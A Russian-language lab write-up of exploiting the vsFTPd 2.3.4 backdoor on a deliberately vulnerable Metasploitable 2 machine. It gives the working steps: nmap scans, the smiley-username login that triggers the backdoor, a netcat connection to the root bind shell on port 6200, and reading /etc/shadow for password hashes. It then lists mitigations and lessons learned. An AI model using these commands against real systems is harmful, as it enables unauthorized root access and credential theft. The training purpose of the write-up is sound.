Лабораторная работа по эксплуатации vsFTPd 2.3.4 на Metasploitable 2

Обзор

Этот проект демонстрирует рабочий процесс тестирования на проникновение против намеренно уязвимой машины Metasploitable 2. Цель состояла в том, чтобы идентифицировать, эксплуатировать и проанализировать известную уязвимость в FTP-сервисе, в конечном итоге получив доступ уровня root и оценив последствия для безопасности.

Лабораторная установка

• Машина атакующего: Ubuntu (Виртуальная машина)
• Целевая машина: Metasploitable 2 (Виртуальная машина)
• Конфигурация сети: Сеть только для хоста (192.168.56.0/24)

Проверка цели

Проверена целевая система и её конфигурация сети:

whoami
hostname
ifconfig

Проверка связности

Подтверждена сетевая связность между атакующим и целью:

ping 192.168.56.101

Цели

• Выполнить сетевую разведку
• Определить открытые сервисы
• Обнаружить уязвимое программное обеспечение
• Эксплуатировать известную бэкдор-уязвимость
• Получить доступ root
• Провести пост-эксплуатационный анализ

Используемые инструменты

• Nmap
• Telnet
• Netcat
• Linux (Виртуальная машина Ubuntu)

Краткое описание атаки

1. Проверена конфигурация цели и связность
2. Обнаружен целевой хост в локальной сети
3. Определены открытые порты и доступные сервисы
4. Обнаружен уязвимый FTP-сервис (vsFTPd 2.3.4)
5. Запущен бэкдор через специально сформированный FTP-логин
6. Получен root-доступ через bind shell
7. Выполнена пост-эксплуатационная разведка

Разведка

Выполнено обнаружение хостов:

nmap -sn 192.168.56.0/24

Обнаружены активные хосты в сети.

Сканирование портов

nmap 192.168.56.101

Обнаружено несколько открытых портов, включая:

• 21 (FTP)
• 22 (SSH)
• 23 (Telnet)
• 80 (HTTP)
• 445 (SMB)

Определение сервисов

nmap -sV 192.168.56.101

Обнаружен запущенный FTP-сервис:

vsFTPd 2.3.4

Полное сканирование сервисов и скриптов включено в вспомогательные файлы: Результаты сканирования Nmap.

Идентификация уязвимости

FTP-сервис работал на известной уязвимой версии:

vsFTPd 2.3.4

Эта версия vsFTPd распространялась с вредоносным бэкдором, который активируется при использовании имени пользователя, содержащего :), во время аутентификации. После активации сервис открывает bind shell на порту 6200, предоставляя несанкционированный удалённый доступ.

Эксплуатация (вручную)

Запущен бэкдор с помощью Telnet:

telnet 192.168.56.101 21

USER test:)
PASS test

Доступ к оболочке

Подключение к бэкдору через Netcat:

nc 192.168.56.101 6200

Результат

whoami

root

Доступ root успешно получен

Пост-эксплуатация

После получения root-доступа выполнена базовая разведка системы:

cat /etc/passwd
cat /etc/shadow

• Перечислены системные пользователи и служебные учётные записи
• Получены хешированные учётные данные из /etc/shadow
• Продемонстрирован доступ к чувствительным системным файлам

Последствия

• Полная компрометация системы (доступ уровня root)
• Возможность выполнения произвольных команд
• Раскрытие чувствительных учётных данных
• Потенциал для латерального перемещения внутри сети

Меры защиты

• Удалить или отключить FTP-сервис, если он не требуется
• Обновить уязвимое программное обеспечение до безопасных версий
• Заменить небезопасные протоколы (например, незашифрованный FTP) безопасными альтернативами (SFTP)
• Ограничить доступ к критически важным сервисам с помощью правил брандмауэра
• Внедрить логирование и мониторинг
• Применять строгую политику аутентификации

Вспомогательные файлы

• Результаты сканирования Nmap

Основной вывод

Эта лабораторная работа демонстрирует, как один уязвимый сервис может привести к полной компрометации системы. Она подчёркивает важность правильной настройки сервисов, управления обновлениями и минимизации поверхности атаки.

Что я узнал

Это был мой первый опыт ручной эксплуатации реального бэкдора. Я узнал, как одна строка вредоносного имени пользователя (:)) может вызвать root-доступ, что подтвердило, почему разведка сервисов и определение версий так важны. Я также стал более уверенно использовать базовые команды пост-эксплуатации в Linux, такие как чтение /etc/shadow и понимание того, как выглядят хешированные учётные данные.

Ограничения

Это была контролируемая лабораторная среда с использованием Metasploitable 2 – намеренно уязвимой машины. Бэкдор vsFTPd 2.3.4 является известным CVE (CVE-2011-2523) 2011 года, поэтому это не отражает современное реальное тестирование. В реальном задании потребовались бы дополнительные шаги, такие как обход средств защиты, сокрытие логов или перемещение по сети. Этот проект был направлен на понимание основных механизмов эксплуатации, а не на полный тест на проникновение.